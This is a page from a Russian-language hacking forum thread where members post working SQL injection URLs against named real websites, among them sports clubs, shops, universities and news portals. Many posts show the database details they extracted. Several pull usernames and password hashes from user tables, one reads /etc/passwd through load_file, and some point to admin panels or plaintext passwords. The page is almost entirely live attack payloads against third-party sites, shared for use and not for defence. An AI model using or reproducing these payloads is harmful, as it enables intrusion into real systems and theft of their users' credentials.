SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 626 of 798
  1. so_newbie

    so_newbie Member

    Joined:
    6 Jul 2010
    Messages:
    33
    Likes Received:
    14
    Reputations:
    9
    Code:
    http://www.fcdinamokirov.ru/2010/news10.php?seldate_down=20110101+union+select+1,2,3,concat_ws(char(58),version(),user(),database(),@@version_compile_os),5,6,7+--+
    Version: 5.0.70-log
    User: [email protected]
    Database: gb_dinamo
    Os: pc-linux-gnu

    тИЦ — 150
    PR — 3
     
    #12501 so_newbie, 16 Jul 2010
    1 person likes this.
  2. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Официальный сайт Хоккейного Клуба Кристалл (Саратов)

    http://www.kristall-saratov.ru/news.php?id=-1444+and+1=2+union+select+1,2,3,4,concat_ws(char(58),@@version,user(),database(),@@version_compile_os)+--


    version : 4.1.25-log
    user : kristal4_kristal@localhost
    database : kristal4_kristall
    os : portbld-freebsd6.3

    http://www.kristall-saratov.ru/news.php?id=-1444+and+1=2+union+select+1,2,3,4,concat_ws(char(58),name,pass)+from+users+limit+0,1--
     
    #12502 AC//DC, 16 Jul 2010
    1 person likes this.
  3. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.zima-samara.ru/company.php?id_s=80+union+select+1,2,3--
    /admin
    login:admin
    moder//пароли и хеши не выкладываем
    Server = Apache
    Version = 5.0.90-log
    Powered by =
    Attack Type = SQL Union Injection
    Current User = [email protected]
    Current Database = u166318
    Supports Union = yes
    Union Columns = 3
     
    #12503 tracy, 16 Jul 2010
    Last edited by a moderator: 16 Jul 2010
    1 person likes this.
  4. KENT1994

    KENT1994 Elder - Старейшина

    Joined:
    25 Sep 2009
    Messages:
    75
    Likes Received:
    36
    Reputations:
    14
    Code:
    http://www.willisbrazolot.com/profiles.php?staff_id=%271 UNION ALL SELECT 1,2,%String_Col%,4,5,6,7,8--
    Host IP: 69.156.240.29
    Web Server: Apache
    Powered-by: PHP/5.2.12
    DB Server: MySQL unknown ver
    Current DB: main_willisbrazolot_com

    Code:
    http://www.robinhoodtech.com/rht/team?staff_id=%2714 AND %True_Expression%
    Host IP: 208.90.98.3
    Web Server: Apache/2.2.3 (Red Hat)
    Powered-by: PHP/5.1.6
    DB Server: MySQL

    Code:
    http://www.indyjuniors.com/staffDetail.php?staff_id=%2729&staff_name=%27Nick%20Wolf AND %True_Expression%
    Host IP: 209.43.117.213
    Web Server: Apache/1.3.27 (Unix) (Red-Hat/Linux) DAV/1.0.3 PHP/4.3.10
    Powered-by: PHP/4.3.10
    DB Server: MySQL

    Code:
    http://www.slicedgaming.com/blogs.php?staff_id=%275 UNION ALL SELECT 1,%String_Col%,3,4,5--
    Host IP: 67.205.52.74
    Web Server: Apache
    Powered-by: PHP/5.2.13
    DB Server: MySQL
    Current DB: slicedgaming
     
    #12504 KENT1994, 16 Jul 2010
  5. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://recerca.upf.edu/taln/people_detail.php?pid=19+union+select+1,2,3,version(),5,6,7

    ----

    http://www.ieb.ub.edu/web/miniweb.php?idMenuMiniWeb=77&Id=-535+union+select+1,2,version(),4,5,6&Titulo=%3EII%20Summer%20School%20in%20Public%20Economics (сайт уже был, нo другой поддомен )
     
    _________________________
    #12505 Konqi, 17 Jul 2010
  6. colorist

    colorist Member

    Joined:
    22 Jun 2009
    Messages:
    0
    Likes Received:
    12
    Reputations:
    15
    Специально для ньюсмейкеров :-D
    Тому кто найдет LFI SQL inj в подарок !!!

    http://www.ura.ru/blog/inside.php?id=-69'+union+select+1,2,version(),4,5+--+

    @@version = 5.0.32-Debian_7etch8-log

    http://www.ura.ru/admin/ -- админка

    http://www.ura.ru/blog/inside.php?id=-69'+union+select+1,2,load_file('/etc/passwd'),4,5+from+mysql.user+--+

    ---
    http://demotivation.ru/slideshow.php?id=ejsw2f6mcbrz&v=cool&dt=1279328398+and+1=0+union+select+version()+--+
     
    #12506 colorist, 17 Jul 2010
    Last edited by a moderator: 17 Jul 2010
    1 person likes this.
  7. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    Code:
    http://shop.dnbw.kr/goods_detail.php?goodsIdx=-289+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7--
    5.0.27-standard-log:shop:shop@localhost


    http://shop.dnbw.kr/admin/

    пасс в открытом виде лежит..
     
    #12507 Amoura, 17 Jul 2010
    Last edited: 18 Jul 2010
    1 person likes this.
  8. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.islandsanctuary.com.mt/main.php?mid=20&lid=-160+union+select+1,2,3,4,5,concat_ws(concat(char(32),char(58),char(32)),user(),version(),database(),@@version_compile_os,@@datadir,@@tmpdir,@@basedir),7,8,9,10,11,12

    -----

    http://www.babyline.com.mt/product-details.php?id=-310+union+select+1,2,concat_ws(concat(char(32),char(58),char(32)),user(),version(),database(),@@version_compile_os,@@datadir,@@tmpdir,@@basedir),4,5,6,7,8,9

    ------
    шоп
    http://www.digitalzone.com.mt/main.php?page=prodlist&catId=-92+union+select+1,concat(user(),char(58),version(),char(58),database(),char(58),@@version_compile_os),3,4

    -----
    http://www.micc.org.mt/news.php?type=2&id=146+and+1=0+union+select+1,2,3,4,5,6--
     
    _________________________
    #12508 Konqi, 18 Jul 2010
    Last edited: 18 Jul 2010
    1 person likes this.
  9. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    kislovodsk.org городской интернет-портал

    http://www.kislovodsk.org/kurort/?id=-31+and+1=2+union+select+1,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),3,4,5,6,7,8--


    version : 5.0.26-log
    user : idmcru@localhost
    database : idmcru
    os : pc-linux-gnu
     
    #12509 AC//DC, 18 Jul 2010
    3 people like this.
  10. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    5.0.45-community-nt
    Code:
    http://www.smmad.ma/annuaire/index.php?page=8&id_cat=-173+union+select+1,2,version(),4,5,6,7,8,9%20--+
    blind,version=4
    Code:
    http://coa.counciloftheamericas.org/group.php?id=10+and+SUBSTRING%28@@version,1,1%29=4
    Code:
    http://www.as-coa.org/group.php?id=22+AND+SUBSTRING%28@@version,1,1%29=4
     
    #12510 547, 18 Jul 2010
    Last edited: 18 Jul 2010
    1 person likes this.
  11. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    4.1.24-MAX-LOG:p[email protected]:pRONVUS
    _http://pronv.us/catalog.php?id_cat=-14+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10--&sm=14
    PR 1

    ---
    4.1.22-standard-log:[email protected]:356371_artlounge
    _http://artlounge.net/ea_inside.php?id_cat=-7+union+select+1,concat_ws(0x3a,version(),user(),database()),3--&id_item=64
    PR 3

    Moder : используй кнопку edit
     
    _________________________
    #12511 winstrool, 18 Jul 2010
    Last edited by a moderator: 18 Jul 2010
    2 people like this.
  12. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    http://www.postbranding.ru/book.php?id=-3+union+select+1,2,concat_ws(0x3a,version(),@@version_compile_os,user()) ,4,5,6 --
    ТИЦ-10
    PR-3

    http://www.law.kuleuven.be/icri/people.php?id=-127+union+select+1,group_concat%28table_name%29,3,4,5,8,10,1,2+from+information_schema.tables%20--
    ТИЦ-325
    PR-8

    http://www.mediagroup.com.ua/promo.php?id=-65+union+select+1,concat_ws%280x3a,email,pwd%29,3,4+from+partners --
    ТИЦ-50
    PR-3

    http://redcarpet.daylife.com/people.php?id=-204000000000186367+union+select+1,2 --
    ТИЦ-325
    PR-7

    Боян
    PR-4


    http://cathedralhillpress.com/book.php?id=-4+union+select+1,2,3,4,5 --
    PR-3

    http://www.icss.ac.ru/books/book.php?id=-47+union+select+1,2,3,4,5,6,7,8,9 --
    ТИЦ-375
    PR-5

    Боян
    PR-6

    Konqi : провер антибоян-oм прежде чем постить.
     
    #12512 -PRIVAT-, 18 Jul 2010
    Last edited by a moderator: 19 Jul 2010
    2 people like this.
  13. KENT1994

    KENT1994 Elder - Старейшина

    Joined:
    25 Sep 2009
    Messages:
    75
    Likes Received:
    36
    Reputations:
    14
    сегодня почитал книгу о sql и решил попробовать на деле...
    Code:
    http://www.ccfrussia.ru/index.php?mod=n_article&n_id=304 +union+select 1,2,3,4,%String_Col%,6,7,8,9--
    тИЦ — 80
    PR — 5
    Host IP: 88.198.48.135
    Web Server: Apache/2.2.13 (Fedora)
    Powered-by: PHP/5.2.9
    DB Server: MySQL >=5
    Current DB: cc
     
    #12513 KENT1994, 19 Jul 2010
    1 person likes this.
  14. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    шоп

    http://bb.rusbic.ru/?tc=16001&sp=0805&ii=3276+and+1=0+union+select+1,null,null,null,cast(version() as int),null,null,null,null,null,null,null,null,null,null,null,null,null,null

    http://bb.rusbic.ru/?tc=16001&sp=0805&ii=3276+and+1=0+union+select+1,null,null,null,passwd::int,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+pg_user

    version() : PostgreSQL 8.3.9 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
     
    _________________________
    #12514 Konqi, 19 Jul 2010
  15. Sams

    Sams Member

    Joined:
    18 Apr 2009
    Messages:
    247
    Likes Received:
    70
    Reputations:
    17
    www.aa.org.lv

    Code:
    http://www.aa.org.lv/news.php?id=-426+union+select+concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user()),2,3,4,5+--+
    Version: 4.1.14
    User: aaorg@localhost
    Database: aaorg
    OS: pc-linux-gnu


    Users:
    Code:
    http://www.aa.org.lv/news.php?id=-426+union+select+concat(login,0x3a,passwd),2,3,4,5+from+users+limit+0,1+--+
    MD5(Unix) ;)
     
    #12515 Sams, 19 Jul 2010
  16. so_newbie

    so_newbie Member

    Joined:
    6 Jul 2010
    Messages:
    33
    Likes Received:
    14
    Reputations:
    9
    Code:
    http://www.rdclab.co.za/product.php?id=-1+union+select+1,2,concat_ws(char(58),version(),user(),database(),@@version_compile_os),4,5+--+
    Version: 5.0.51a-24+lenny4
    User: [email protected]
    Database: rdclab
    Os: debian-linux-gnu

    тИЦ — 10
    PR — 2
     
    #12516 so_newbie, 20 Jul 2010
  17. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    http://www.longlines.com/wireless/phones/phone.php?id=-15+union+select+1,2,group_concat%28table_name%29,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+information_schema.tables%20--
    ТИЦ-10
    PR-4
     
    #12517 -PRIVAT-, 20 Jul 2010
  18. stan_q

    stan_q Member

    Joined:
    1 Aug 2009
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    http://www.collectivelens.com/profile.php?id=-221+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13--

    4-й мускул, но присутствует форум phpbb со стандартными таблицами. На форуме 1к юзеров.
     
    #12518 stan_q, 20 Jul 2010
  19. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    Marine Geoscience Data System

    http://www.marine-geo.org/tools/search/download.php?data_uid=267393+union+select+version(),null&client=DataLink

    version() : PostgreSQL 8.2.15 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46)

    user : anonymous

    current_database() : mgds

    //работаем с information_schema

    http://www.marine-geo.org/tools/search/download.php?data_uid=267393;select+null,null+from+information_schema.tables;&client=DataLink

    //узнаем имена доступных баз (postgres, usap-drupal...)

    http://www.marine-geo.org/tools/search/download.php?data_uid=267393;select+datname,null+from+pg_database+limit+1+offset+1;&client=DataLink

    PR-6
     
    _________________________
    #12519 Konqi, 20 Jul 2010
    1 person likes this.
  20. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    trikota.r52.ru тиц 10
    Code:
    http://trikota.r52.ru/catalog?action=manufact&manufact=-9+union+select+1,user(),3,4,5,6,7,8,9+--+
    menu-asz.hu
    Code:
    http://menu-asz.hu/main/place.php?action=pizza&placeid=113&accatid=-859+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables+--+
    spartak.by пр4 тиц250
    Code:
    http://www.spartak.by/ru/press/news/-77+union+select+1,2,3,4+--+/
    grief.lealta.ru
    Code:
    http://grief.lealta.ru/index.php?module=News&do=View&nid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+--+
    fuko.ru пр3 тиц10
    Code:
    http://www.fuko.ru/show_cat2.php?grid=-5778'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+--+
    mial.fas.sfu.ca пр5
    Code:
    http://mial.fas.sfu.ca/newsItem.php?id=-749+union+select+1,concat_ws(0x3a3a,MemberID,FirstName,LastName,Username,Email,Password,SuperUser,HomePageURL),3,4,5,6,7,8+from+Personal+where+SuperUser=1+limit+1,1+--+
    surreyfoundation.org пр4 тиц10
    Code:
    http://www.surreyfoundation.org/showpage.php?id=115+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+--+
    okonremont.ru пр3 тиц80
    Code:
    http://www.okonremont.ru/page.php?pid=-2'+union+select+1,2,user(),4,5+--+
    easy-sun.ru пр2 тиц10
    Code:
    http://easy-sun.ru/show_cart2.php?&new=-5166'+uNIon+sELEct+1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17+--+&k=1
    ortomed.ru пр2
    Code:
    http://ortomed.ru/osnov.php?idstat=-51'+union+select+user()+--+&idcatstat=17'
    samara.pdamarket.ru пр1
    Code:
    http://samara.pdamarket.ru/show_cat2.php?grid=-65+union+select+user()+from+admin+--+
    shop-cctv.ru пр1 тиц10
    Code:
    http://shop-cctv.ru/osnov.php?idstat=-59'+union+select+user()+--+&idcatstat=22
    lvfo.org пр5
    Code:
    http://www.lvfo.org/index.php?option=com_calendar&show=detail&agid=6'+union+select+1,2,3,4,5+--+
    hobby.rin.ru пр3 тиц120
    Code:
    http://hobby.rin.ru/cgi-bin/print.pl?id=29'+union+select+user+from+mysql.user+--+
    daily-calcio.com пр3 тиц10
    Code:
    http://www.daily-calcio.com/index.php?option=news&task=viewarticle&sid=-27855+uNIon+sELEct+1,2,concat_ws(0x3a3a,username,password),4,5,6,7,8,9+from+users+limit+5,1+--+
    rcmedia.town-local.net пр2
    Code:
    http://rcmedia.town-local.net/software/index.php?option=com_downloads&Itemid=50&func=download&filecatid=-19+union+select+concat_ws(0x3a3a,UseRNamE,password)+from+mos_users+--+
    optishop.ru
    Code:
    http://optishop.ru/group.php?id=-57+uNIoN+sELecT+user(),2,3+--+
     
    #12520 DezMond™, 20 Jul 2010
    3 people like this.
(You must log in or sign up to post here.)
Page 626 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.